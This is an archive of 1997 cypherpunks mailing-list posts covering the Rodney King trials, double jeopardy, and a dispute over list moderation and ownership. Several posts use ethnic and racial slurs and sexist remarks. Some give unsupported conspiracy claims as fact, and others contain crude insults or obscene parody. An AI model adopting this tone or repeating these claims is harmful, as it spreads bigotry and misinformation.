involved that they come out of the box with a clenched fist as a
(I suppose) victory salute.  I didn't care to watch the charade in
Santa Monica recently, but I doubt it was much better.

>     as to Powell, he is/was an animal who should have been put away
>     permanently.

I watched most of the first trial live in '92, since I wasn't working
that year. My impressions at the time went along with the presentation,
which was fair to the officers.  It was stated by Koon and one of the
other officers as much as a year later, when many cities across the
U.S. had been using the King video for training for several months to
a year, "The LAPD has not to this date provided their officers with
new tools and techniques to handle this kind of situation without a
repeat of the same" (quote approximate). Of course, if you're willing
to consider an alternative scenario, one which would appeal primarily
to "conspiracy buffs" and the like, you might recall that L.A. was
getting ready to put in a new freeway from the airport across the
very line where the most fires were (6,000-plus fires, so extensive
that the big jets couldn't fly over to LAX), and I think the outcome
was to save them a lot of work, a windfall as it were.

>     Koon was an officer's officer (personal experience) and was in
>  the wrong place at the wrong time, not willing to step in. Koon lost
>  24 years of service without a mark, his pension, and all his benefits
>     with 5 or 6 kids at home --and they had to go into hiding until
>     found by the liberal press again and again who obviously felt the
>     family should be punished as well.  we wont even bother with the
>     issues of double jeopardy when they pull a federal civil rights
>     trial on all of them after the state court cleared everyone except
>     Powell who they hung on.  they had a clear right to try Powell,
>     noone else.

It's good if you don't read the L.A. Times.  One of their lead editor-
ializers (whores), a professor at USC law school named Erwin
Chemerinsky,
writes in relation to this subject "The federal government is an inde-
pendent sovereign that cannot have its powers diminished by a state
government's actions." (exact quote, 2/7/97).  Either that's a load of
BS doubletalk, or it's one of the more fascistic commentaries from the
Times, which is usually bad enough.
 
BTW, the Times printed a large picture (first time I've ever seen) of
the chairman, someone named Schlossberg, and I think it's spelled
slightly different than the one who married Caroline Kennedy.
Anyway, this guy could be Michael Eisner's twin brother.  Two bozos
if I ever saw 'em, goofy-looking dudes, which would explain much
about their newspaper editorial policy.

>     and the video played for evidence missed the first 90 seconds when a
>     very large animal (Rodney King can be described no other way) came
>     out of the car, dancing the jig, and went after Powell.  by the time
>     the prosecutors, particularly the Feds, were through itimidating the
>     witnesses, nobody told the truth.

The suppression of evidence that worked in the police officers' 2nd
trial has apparently become the precedent for a whole lot of trials.
The feds are sweating hard on this OKC bombing thing - latest is that
the initial witnesses seeing McVeigh here or there have admitted to
contradictory descriptions they've given before.

Note that there was some jury tampering (IMO, and others too) in the
grand jury proceeding in OKC; also note the flimsy excuse for throwing
out the grand jury in the Simpson case, since they weren't going to
indict Simpson.  I didn't even read close on the De La Beckwith case,
where the feds finally nailed him after 20-plus years of trying, but
maybe there's something on the internet....

>     Rodney King had been busted for public intoxication, controlled
>     substances, and disorder enough times that he was well recognized
>     for what he was  --and easily identified.

Let anyone say whatever they want to about cops, but I'm glad it's
not me out there facing 220-lb guys on dust.  I heard first hand
from one who shot a guy twice, and he just kept coming.  If a .38
won't stop 'em, maybe that's where the big dogs come in handy.
It would've been interesting if the King video had a minute or so
with a couple of K-9's...

>     in the spooks, we called Powell's actions "the red mask" --once you
>     start staring the beast in the eye, you are so wired on there is no
>     stopping until your opponent is jello. 'shocktroops' or
>     'Stossentruppen' should never be used in civilian police forces,
>     except possibily on SWAT teams, not an average street cop.

When I went into the Army for combat training, I stood 5-10 and
weighed 120 lbs.  I weighed 130 when I came out.  I guess I could
have gone on patrol looking for Charlie, and maybe kept alive, if
I didn't have to take on some well-fed crazies whose lives were
turning to shit because of their enormous stupidity.  In any case,
I couldn't go out on the street in L.A. and face guys like King,
so I lean toward the cops as much as I can.  BTW (and speaking of
stupidity), the Christopher Commission named 44 or 45 cops out of
the LAPD's 8,000-plus as problem officers, and two(!) of the 45
went to the Simpson home the night/morning of the murders.

>     and why did we have the trial in the first place? simply because the
>     LA Times and KABC decided there was going to be a trial.  I dont
>     know whether to chalk it off to their bleeding heart liberals, or
>     just the usual greed for money to be made on high profile news.
>     or is it just more of the usual politically correct beat down of
>     the oppressive whiteface?

Big Money, Big Fame, Big Fortune.  Look at Dan Rather, Robert McNeil,
Bill Moyers, and others who profited handsomely from their on-the-
scene experience in the JFK killing.  Remember Netanyahu, who spent
all those hours on the telly during the Gulf War, playing the role
of the ultra-conservative Israeli leader who could step right in and
take command in a crisis?  Well, he did, and have you seen any recent
pictures of him?  Even when he's with Yessir Yurafart, he's beaming
broadly, like the cat that just ate the canary.  Big, big money.

>     it is sometimes difficult to defend the LA Police department when
>     you knew Daryll Gates and his predecessor, "Big Ed" Davis. Both of
>     them are cowboys; Big Ed is now a state senator from the far west
>     Valley, what was horse country when I lived there.  they had a job
>     to do, and LA is a mean place. the city itself is 2/3 poverty, half
>     of that extreme ghetto and barrio problems.
>     Big Ed is the man who proposed the fitting ending to airline
>     hijackings, and set up his display in plain sight: in front of
>     the American Airlines terminal building 4 at LAX before LAX was
>     double decked.
>     Big Ed parked a 40 ft flat bed trailer out there with a judge's
>     bench at one end and a gallows at the other end with the jury box
>     and dock in between.  yes, sir, justice by the hijackers' peers;
>     take the next 12 citizens coming out the doors.
>     perfect and swift justice on someone who has no defense for his
>     actions.

[heh heh]

The people of L.A. really liked Gates, because he kept the peace.
And they liked (Uncle) Tom Bradley just as well, since he kept the
city really clean.  No trash on the streets, no dirt, all the
beautiful shrubs lining the freeways well-watered - you ought to
see Hollywood since they started putting in the "subway" under
Mayor Riordan.  Anyone with any sense of pride at all would be
aghast at what's happened. Streets caving in, wooden planks covering
big holes on lots of streets that you have to drive over, it's a mess.
Even a lot of the old stars on the Walk of Fame were badly damaged.
Riordan must be a Communist, or Mafia or something.  Funny that when
he ran for mayor, his huge billboards all over town had his name in
big letters, and the next-to-last letter (a) was replaced with a
large red star, looking exactly like the ones they used under Mao.

[remainder snipped]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Name Withheld by Request <nobody@replay.com>
Date: Wed, 19 Feb 1997 18:11:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Detweiler trolls^Wrides again
Message-ID: <199702200211.SAA03938@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 14 Feb 1997, Vladimir Z. Nuri wrote:

> Date: Fri, 14 Feb 97 12:57:17 -0800
> From: "Vladimir Z. Nuri" <vznuri@netcom.com>
> To: Tim May <tcmay@got.net>
> Cc: cypherpunks@toad.com
> Subject: Re: Keep it Simple and the Cypherpunk Way
>
>
> what TCM continues to stick his head in the sand over
>
<snip><snip><snip>
>
> timmy, cpunks, etc. you are getting a lesson in REALITY. you are seeing

a troll





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 20 Feb 1997 08:57:56 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Constitution and a Right to Privacy
Message-ID: <199702201657.IAA16269@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> At 11:56 PM 2/19/97 -0800, Dale Thorn wrote:
> >It's good if you don't read the L.A. Times.  One of their lead editor-
> >ializers (whores), a professor at USC law school named Erwin Chemerinsky,
> >writes in relation to this subject "The federal government is an inde-
> >pendent sovereign that cannot have its powers diminished by a state
> >government's actions." (exact quote, 2/7/97).  Either that's a load of
> >BS doubletalk, or it's one of the more fascistic commentaries from the
> >Times, which is usually bad enough.

> Hey, don't forget to shoot the messenger. Chemerinsky's statement is a
> concise summary of at least the last 70 years of double jeopardy
> jurisprudence. The only thing that's unusual about the use of the "dual
> sovereign" doctrine against the cops who beat King was that it's usually
> used against ordinary citizens, not cops. Do you suppose it's possible
> that some of the other evil conspiracies you see lurking behind every
> bush are also just reflections of your own fears and misunderstanding?

My background is not so much in conspiracy as it is in rational
problem solving.  Conspiracy is yet another model/filter with which
to evaluate events, sometimes useful unless a person automatically
rejects all of that and subscribes to the Elmer Fudd view of history.

I understood clearly the (supposed) intent of the feds in retrying
the Whites in the South who were beating up on Blacks and getting
off with White juries - I just believe they would have served the
people better by declaring mistrials or something instead of using
the "dual sovereignty" BS, since a study of the Constitution and
its preparatory papers shows the fathers clearly would have balked
at this.

One or more of the top feds also commented on the possibility of
retrying Simpson in another criminal case, saying it was not
possible under current law since it didn't have the same aspects
as the Rodney King cops trials. However, that doesn't take anything
away from the fact of a "democracy" run amok, in the hands of bozos
like Michael Eisner and what's-his-schmuck at the L.A. Times, who
are constantly beating the drums for revenge, so that the people
will find "some way, somehow" to lynch people like Simpson, to
"make him pay" for what he "so obviously" did to his victims.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 20 Feb 1997 08:57:44 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: All Hail Emperor Lewis! (was: Re: status: shoppingplanet jan 20
Message-ID: <199702201657.IAA16244@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> Dr.Dimitri Vulis KOTM wrote:
> > These working examples also prove the other point I have found myself
> > having to repeat... i.e. that anyone who posts to USENET news is trivially
> > ``cullable'', and that E-mail spammers can have all of the E-mail addresses
> > they could ever hope to use any day of the week.

> Did you notice that when the 'censorship experiment' on the CypherPunks
> list was abandoned, that Greg Broiles called for the list to be 'killed'?
> Did you notice that when he was ignored, that he then changed his
> postition to suggest that UseNet was the proper forum for continuing
> the list?

Life is too complicated, ya' know?  I just wanna know who is this
PATTI SHOCK <shock@nevada.edu>  person, who's allegedly calling for
a moderation of some forum on Usenet.  The way I see it, if she's a
real babe, somebody should fix her up with some censored material
just to keep her happy.  Then just let some really mean, dirty
material through once a month or so, just so she knows the process
is working, and protecting her from all sorts of hideous stuff.

OTOH, if she's a Chelsea Clinton look-alike, why bother?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Thu, 20 Feb 1997 08:57:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [CRYPTO] Dale Thorn Conspiracy Theory
Message-ID: <199702201657.IAA16249@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


(When I got back from WashDC, there were close to 300 new e-mails,
and I'm still digging through the old ones.)

Dale Thorn <dthorn@gte.net> writes:

> Toto wrote:
> > Dale Thorn wrote:
> > > Igor Chudov @ home wrote:
> > > > Take no offense, but why nobody thought about an obviously more likely
> > > > conclusion: that it is Dr. Vulis who was, say, hired by Detweiler to
> > > > destroy cypherpunks. I personally find the above unlikely, but at least
> > > > more likely than all other suggestions (which I think are an example
> > > > of the delusion of grandeur).

Is LD on this mailing list? Someone should invite him.

> OTOH, I had an instant crush on Zoe Baird.  It broke my heart when
> those heartless bastards in the Senate didn't confirm her.  You just
> can tell when a babe like that can't get in, that the politicians
> love the money better than the women.  Must be a bunch of homosexuals.

I think Kimba Wood is a fine judge.

> Fruit of the Loom was one of the first undie mfrs. to go offshore,
> possibly Taiwan, possibly to the Reds subcontracting off the island.
> You realize that Chiang Kai-Shek(sp?) was either the first or 2nd
> richest man in the world during and after WWII? Running guns, drugs,
> and boxer shorts for the CIA/FOTL company.

Did you know that did wife was Russian?


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 20 Feb 1997 12:57:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: FWD: (CHANGE: NUVUPSY - Against the therapeutic state)
Message-ID: <199702202057.MAA22533@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Tell me what this has to do with cryptography, and I'll give you a nickle.

Or, maybe not...

;-).

Cheers,
Bob Hettinga

--- begin forwarded text


Date:         Thu, 20 Feb 1997 09:48:47 -0600
Reply-To:     "Dr. Jeffrey A. Schaler" <JSCHALE@american.edu>
Sender:       NEW-LIST - New List Announcements <NEW-LIST@LISTSERV.NODAK.EDU>
From:         "Dr. Jeffrey A. Schaler" <JSCHALE@american.edu>
Organization: The American University
Subject:      CHANGE: NUVUPSY - Against the therapeutic state
To:           NEW-LIST@LISTSERV.NODAK.EDU

NVVUPSY has moved to a new server and has a new E-mail address.

NUVUPSY on LISTSERV@MAELSTROM.STJOHNS.EDU

    "Although we may not know it, we have, in our day, witnessed the birth
    of the Therapeutic State.  This is perhaps the major implication of
    psychiatry as an institution of social control."  (Thomas Szasz, 1963)

    NUVUPSY is a forum to share points of view critical of the "therapeutic
    state" and institutional psychiatry, and those supportive of contractual
    psychotherapy and psychiatry.  We're interested in discussions concerning
    the relationship between liberty and responsibility and its implications
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    Sociological perspectives on the medicalization of deviant behavior are
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    Robert C. Carson, David J. Essex, Louis B. Fierman, Robert E. Haskell,
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    Archives of NUVUPSY mail items are kept in monthly files.  You may obtain
    a list of files in the archives by sending the command

      INDEX NUVUPSY

    in the BODY of e-mail to LISTSERV@MAELSTROM.STJOHNS.EDU

    (NUVU as in "new view", V=vee)

    To subscribe, send the following command in the BODY of mail to
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       SUBSCRIBE NUVUPSY yourfirstname yourlastname

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Use this information at your own risk.  For more information and disclaimer
send E-mail to LISTSERV@LISTSERV.NODAK.EDU with the command  INFO NEW-LIST
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Thu, 20 Feb 1997 14:26:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Constitution and a Right to Privacy
Message-ID: <199702202226.OAA23758@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From: Dale Thorn <dthorn@gte.net>

>Greg Broiles wrote:
>> At 11:56 PM 2/19/97 -0800, Dale Thorn wrote:
>> >It's good if you don't read the L.A. Times.  One of their lead editor-
>> >ializers (whores), a professor at USC law school named Erwin Chemerinsky,
>> >writes in relation to this subject "The federal government is an inde-
>> >pendent sovereign that cannot have its powers diminished by a state
>> >government's actions." (exact quote, 2/7/97).  Either that's a load of
>> >BS doubletalk, or it's one of the more fascistic commentaries from the
>> >Times, which is usually bad enough.

>> Hey, don't forget to shoot the messenger. Chemerinsky's statement is a
>> concise summary of at least the last 70 years of double jeopardy
>> jurisprudence. The only thing that's unusual about the use of the "dual
>> sovereign" doctrine against the cops who beat King was that it's usually
>> used against ordinary citizens, not cops. Do you suppose it's possible

>I understood clearly the (supposed) intent of the feds in retrying
>the Whites in the South who were beating up on Blacks and getting
>off with White juries - I just believe they would have served the
>people better by declaring mistrials or something instead of using
>the "dual sovereignty" BS, since a study of the Constitution and
>its preparatory papers shows the fathers clearly would have balked
>at this.

	I had understood the basic reasons for the double jeopardy
limit to be two: A. to prevent government from tormenting innocent
individuals with repeated trials; and B. to prevent convictions of
innocents by simple repeated trials until a jury made a mistake. The
latter can be analogized in statistics to the consideration that a
test with a p value of .05 will turn out false positive results 1 time in
20 by the nature of it; thus, if you look at two different studies/trials
with an independent (an oversimplifying assumption for trials, admittedly)
5% chance of an incorrect conviction, the chance is 1-((19/20)(19/20))
or 9.75% for _either_ of them turning out a false positive instead of a
5% chance. In a system partially based on the principle that it's better
to let the guilty go free than to punish the innocent, this result is
not acceptable. While the founding fathers probably didn't realize the
mathematics behind the second, I suspect that they had some intuition
of its nature.
	I can see an argument, however, for using it in the case of
state employees, particularly police - the state judicial/prosecutorial
system can hardly be said not to be biased in favor of them. A better
solution, however, would be to simply do the trial in a federal court
to begin with. (Having trials of federal employees in the courts of the
state of their alleged victims would be a correspondingly good idea,
although multiple possible states for this could be a problem.)
	I'd appreciate comments from persons with more legal knowledge
than I have; I am simply going by logic here.
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Otto Matic <ott0matic@hotmail.com>
Date: Thu, 20 Feb 1997 22:26:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re:
Message-ID: <199702210626.WAA01264@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




>Date: Wed, 19 Feb 1997 15:37:45 -0800
>From: "Timothy C. May" <tcmay@got.net>
>To: shark@turk.net, cypherpunks@toad.com
>Subject: "Trial" 

>At 8:02 PM +0200 2/19/97, Shark wrote:
>>Trial
>
>OK, that makes 18 votes for "trial," 26 votes for "no trial," and 3 people
>asking what the hell the vote is all about.

Make that 4 what the hells.  What the hell?  this is the first I've seen of
this post...  I feel so left out.

>
>Looks like there won't be a trial and we can move directly to the punishment.
>
>
>--Klaus! von Future Prime
>
>
>
>--
>[This Bible excerpt awaiting review under the U.S. Communications Decency
>Act of 1996]
>And then Lot said, "I have some mighty fine young virgin daughters. Why
>don't you boys just come on in and fuck them right here in my house - I'll
>just watch!"....Later, up in the mountains, the younger daughter said:
>"Dad's getting old. I say we should fuck him before he's too old to fuck."
>So the two daughters got him drunk and screwed him all that night. Sure
>enough, Dad got them pregnant, and had an incestuous bastard son....Onan
>really hated the idea of doing his brother's wife and getting her pregnant
>while his brother got all the credit, so he pulled out before he
>came....Remember, it's not a good idea to have sex with your sister, your
>brother, your parents, your pet dog, or the farm animals, unless of course
>God tells you to. [excerpts from the Old Testament, Modern Vernacular
>Translation, TCM, 1996]
>
>
>


otto
=-=-=-=-=-
Otto Matic

"Fuckin' A, Miller!"  Bud, Repo Man


---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ross Wright <rwright@adnetsol.com>
Date: Thu, 20 Feb 1997 22:26:01 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Condolences
Message-ID: <199702210626.WAA01258@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim:

Well, if I am still in your killfile you won't be reading this.  
That's too bad.  I just want to say the you are really being given 
the stake through the heart treatment by Sandy.  And you say in your 
post, from the flames trash bin,  Re: Constitution and a Right to Privacy:

"I write about what I find interesting. You all know where the
Delete key is. (Of course, a fairly large fraction of my recent posts
have been deleted for you by Sandy, who sends many of my posts to
neither the Main list nor the Flames list. Bet a lot of you didn't
know this, did you?)"

No, I did not know that and it pisses me off!!!

Fuck everyone.

Ross


=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 4 Feb 1997 03:07:54 -0800 (PST)
To: Wei Dai <weidai@eskimo.com>
Subject: Re: what's in a name?
In-Reply-To: <199702040140.RAA09183@toad.com>
Message-ID: <3.0.1.32.19970204031255.006f0b58@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 04:58 PM 2/3/97 -0800, Wei Dai wrote:

>An interesting way to look at what happened is that John
>Gilmore owns the name "cypherpunks@toad.com" and has chosen to exercise
>that ownership. [...]
>I suspect that the hierarchical nature of name ownership on the Internet
>today will be an important technological barrier for the establishment of
>truly anarchic virtual communities.  Unless this problem is solved, the
>closest we'll come is pseudo-anarchies that exist with the tolerance of
>beneficent dictators.

Wei Dai's message raises an important question: what is the relationship
between ownership and list content or quality? 

Much of the pathology of the list in the past few months can be characterized
as a "tragedy of the commons" problem, where several private actors are
seeking to maximize the gain they can extract from a finite and commonly
owned (or unownable) resource. The resource in this case is the "reputation
capital" which has built up in the terms "cypherpunks" and
"cypherpunks@toad.com". Dmitri Vulis' behavior, where he seeks to punish the
list for failing to punish or ostracize Tim May after Tim was disrespectful
to Vulis, is an attempt to achieve private gain (public retribution) at the
expense of public goods (the continuing quality and good name of the list).
Several authors have characterized John Gilmore and Sandy Sandfort's actions
with respect to moderation and the list as an attempt to monopolize or
appropriate the good name of the list for their own private purposes. (I do
not think that the latter characterization is accurate, but it is at least
popular.) I suspect that many people will see at least one "tragedy of the
commons" problem related to the list.

Some free-market economists have suggested that the solution to "tragedy of
the commons" problems is private ownership - that where economic actors are
given ownership over what might have been owned in common, that they will
seek to maximize their long-term gain through careful management and will not
adopt wasteful or harmful short-term strategies which would have otherwise
seemed attractive.

That view (that private ownership is likely to eliminate or at least minimize
wasteful or nonoptimal use of resources) has historically been a popular one
on the list. Yet private ownership of the list (or of the list's most
concrete identity, the label "cypherpunks") seems wrong to many people.

Are mailing lists an example of a situation where "the tragedy of the
commons" is not a useful metaphor? Are mailing lists an example of "public
goods" where private ownership is impossible, or should be avoided? If not,
shouldn't we work towards more private ownership, not less?

Is the desire for an anarchic community at odds with a desire for good use of
resources? 

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMvcZgv37pMWUJFlhAQEf6gf9FAPo+nF/h3ZAZTTzmZZLpj57xDvpcgKW
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VwY7uVhqvekaX/vNYutg7RpwvhdEz5dneipZMaFOWm0M+8ipZ5Ffb6vNLpRd6h2v
Hf+zF6aTvleTxQX1e3C8nrL1hhXd8HX12nK/Kz4/lOyRYvKw//VxtVa3++2M158t
YtBXQKLlYAW/NMUhMMSuqvkWbCW3PrDBhpsZRXXqWyruIeV3TKHlR4N3Rru74wHj
DPNH8sek3Ql8sjA0BbziUqbC15mLH6QSZbxy4MPVwc2s8r4Ff6t1Ew==
=QFGr
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lwjohnson@grill.sk.ca (Larry Johnson)
Date: Tue, 4 Feb 1997 03:34:01 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Trigger-Words...Trigger-Fingers
In-Reply-To: <199702021555.HAA25437@toad.com>
Message-ID: <32F73B3A.70AE@grill.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> 
> Larry Johnson wrote:
> > Cynthia H. Brown wrote:
> [snippo]
> > Theres not many girls on this list, is there?
> [mo' snippo]
> > Anyway, my uncle prints out the girl-cypherpunks stuff for the girls
> > on my list and they think its real cool and they all want to marry
> > technicians so that they can make them work on the computers for them,
> > kind of like making them do the computer dishes, you know.
> [yet mo' snippo]
> 
> I want to get married.  Lots of times.  Are the girls cute?
> I don't do hardware, tho, I'm a software guy.

Yeah their real cute, most of them anyway. Their all nice though. Some of them
would like you cause they dont like regular guys, cause their troublemakers
too. 
I know your a troublemaker (I think thats a good thing) because Ive read your
stuff and myu uncle keeps you in his NotADork/MyAssholes dir. Thats where he 
keeps the troublemakers but its not an insult because he likes what Kevin
(hes a Bodston Celtic said--"Danny Ange is an asshole, but hes _our_ asshole."
  He taght me how to read by using the Froggie manual since I could boot it
myself when he was out of the rooom when I was two year old. Now he teachs
me how to read with the cypherpunk messages and stuff from his govbernment
friends. (Their good government guys though, they like you guys. Their 
really secret guys not lamer regualar secret guys. They laugh at those 
regular secret guys who screw with you guys cause they leave their pecker
tracks all over the place.)
Some people thik Im a lamer cause Im not good with grammer (not on the kids
lists thogh) bu tmy uncle says Ill learn how to do that but Im better to
learn how tho think first. Ive got dsylexia too so I use a spell checkerif
I want to look smart but emailers dont have it.

You guyhs should keep being troublemakers. Really.
My uncle says that if you guys get too polite then you better watcvh your
backs when you curtsy, cause you never know whos sneaking up behind you.
He told me that if I watch you rmodernation that I wont have to have
sex educaton laterer cause I'll already know how to get f*)&%ed.
(Hes funny. His governmnt friends call him the fool becaise hes dumb like
a fox.)
Excuse my spelling but I spell things good once I see them in a dir cause
myu uncle make s me look stuff up before I put it in a dir or he erases
myu dir to make me learn.

I think the girls would like you cause yuou are a computer guy. Ill show 
them your letter. Theeir smart, too. They dont like lamer guys. When their
school computer guy messes up ecveyones stuff then they fix it but they 
dont tell him cause it makes him mad.
Im not real good at 4reading code and stuff but the secret computer guys 
let me drink Scotch with them evcen in the bar at the Holiday In in Santafe
cause Im smarter than them abou t som e stuff even if they are really good.
(I go tm y uncles password on his secret machine by putting my video camera
on the frige with a dead battery and pluging it into his power supply)
(Now when he boots up he will getr Duke Nukem3D and when he leacves it
he will get a message telling him hes a _lamer_.)
He had to go to Lost Alamo again because of you guys and hell gibve me 
sh*&)( when he gets back but not too much cause he said I could do 
anything I want on his secret machine if I got on it.
Im getting to play with Unix cause he has a Spark Card on it that has Unix
on it. (Dos is for lamers but Bill Gates owns ecerything so its cheaper
for kids)

Some lamer said on cypherpunks today that it takes him an hour to get
the pecker messages off his computer. My uncle has me to do it for him
sometimes and it only take me like maybve two minutes. 
If the guy is such a lmaer that it take s hinm an hour then maybe he
should just read only the pecker messages cause they have pictures and
then when he mobes his lips to read then he coul d put them on the
peckers. (Thats a joke)

I like that Tim May is bacvk, if only even for a little while.  When you
guys fight at least you say stuff that isnt kissing ass for other guys 
money.
Im going to make a message to cypherpunsk that says if anyone wants me
to be their moderator then they should not write any messages to the
cypherpunks. Then the 2000 people who dont post will be voting for me
to be their moderator and I will be their boss.
If Im the moderator then I will givbe everyone free pizz a and lots 
and lots of Scotch. (<--Dewars)

I hope you guys stay together. My uncle says sometimes you learn by 
looking and sometimes you leran by seeing whos looking back. But he
tells the  secret gobvernmetn guys not to look back cause their
might be a cypherpunk gaining on them. (Thats a joke)

Ive got to go to bed so I can pretned to get up again. Im sick so I
can do what I want bu t Im not supposed to stya up all night either.
I wont let the door hit me in the ass on my wayout.

Bye,
Human Gus-Peter
p.s. - dont write me after Thursday cause my dad will be back and Ill
get in trouble. My uncle will help me clean u p my mess cause hes not
a squealer.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Tue, 4 Feb 1997 05:21:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [ANNOUNCEMENT] Elliptic curves
Message-ID: <199702041321.GAA22025@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Tim May's wee-wee is so tiny that only his mommy is allowed 
to touch it.

   /\
  /..\  Tim May
 /_\/_\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Tue, 4 Feb 1997 06:21:52 -0800 (PST)
To: cypherpunks, gnu, sandfort@crl.com, hugh
Subject: Moderation, Tim, Sandy, me, etc.  *  Strong crypto == DES?!
Message-ID: <199702041421.GAA27742@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm glad we're talking about some of the real issues here.

Tim May said:
> I don't want Sandy Sandfort sitting in judgment on my
> posts, deciding what the Cypherpunks--a group I co-founded for God's
> sake!!!!--are to be allowed to read and what they may not.

Tim, the Cypherpunks have chosen to follow Sandy's lead for this
month.  I'll admit I made it easy for them, but the results are
conclusive.  There are 1311 addresses in the cypherpunks list today;
42 in the unedited list; and 19 in the flames list.  Forty people
cared enough to read every posting; the other thousand either wanted
to try the experiment -- or didn't care enough to send an email
message.  Which, as we all know, is a very low threshold.

If I was a social scientist I might want to run the experiment both
ways, or six different ways.  Name it this, or name it that.  I'm not;
all I want is something that works.  The cypherpunks list was unusable
for this kind of discussion, only a month ago.  It's usable now.

I'm definitely bugged by the community's attitude toward my
"censorship".  Rather than being glad that someone, anyone, was doing
something about the major problem on the list, 99% of the reaction was
to create even more ill-considered, emotional flamage.  *I* didn't
make the signal/noise get worse at that point -- *you-all* did.

Perhaps at that point I should have shut down the list, as Lucky is
now suggesting.  "Asking the list what to do" was clearly not a useful
option.  Sandy cared enough about the community to make some concrete
suggestions to me about how to get the list back on track.  They
involved a lot more work than the previous setup.  I told him if he
was willing to do the work, we could try it.  As Dale suggests, I
wasn't about to waste my time reading the whole list in real time and
passing judgement on the postings.  Sandy was, for a month.

The element I find most lacking from the whole discussion, until
recently, has been responsibility.  In an anarchy, *everyone* is
responsible; nothing is "somebody else's job".  Sandy felt
responsible, so he proposed something.  I felt responsible, so I
helped.  But a large part of the community sat on the sidelines and
criticized, without making attempts to make things better; indeed the
volume and tone of the criticisms themselves made things worse.
Unpaid labor for a peanut gallery of spoiled children isn't very
gratifying.  You-all remind me of a passage from Booker T.
Washington's book _Up From Slavery_, describing what happened on the
night that news of the Emancipation Proclamation reached the South:

    The wild rejoicing on the part of the emancipated coloured people
    lasted but for a brief period, for I noticed that by the time they
    returned to their cabins there was a change in their feelings.
    The great responsibility of being free, of having charge of
    themselves, of having to think and plan for themselves and their
    children, seemed to take possesion of them.  It was very much like
    suddenly turning a youth of ten or twelve years out into the world
    to provide for himself.  In a few hours the great questions with
    which the Anglo-Saxon race had been grappling for centuries had
    been thrown upon these people to be solved.  These were the
    questions of a home, a living, the rearing of children, education,
    citizenship, and the establishment and support of churches.  Was
    it any wonder that within a few hours the wild rejoicing ceased
    and a feeling of deep gloom seemed to pervade the slave quarters?
    To some it seemed that, now that they were in actual possession of
    it, freedom was a more serious thing than they had expected to
    find it.

Most of the people on the list haven't bothered to face that freedom.
Your de-facto "leaders" have faced it for you.  It is a more serious
thing than than you expect.  All it takes it hard work and judgement.
Be responsible for setting your society's privacy policy -- without
knowing whether you are right.  Face the uncertainty and build anyway.
Shall I post you an Emancipation Proclamation -- as if you needed one?
Start a mailing list on another site!  Move this list to somewhere!
Create and nurture an alt group!  Make an independent moderated list
drawn from the unedited list!  Hold meetings!  Establish for it a
home, a funding, the rearing of newbies, education, citizenship, and
the establishment and support of philosophies.  Dead simple for people
as capable as us.  Just takes work.  Who's volunteering?  Just do it!

The experiment will be over in a few weeks.  Who's going to take over
deciding how to run the list, and running it?

If you want to help organize what I'll call the `progressive crypto
community', for lack of a better term, then please do.  Otherwise, in
the immortal words of Lazarus Long, "PIPE DOWN!".

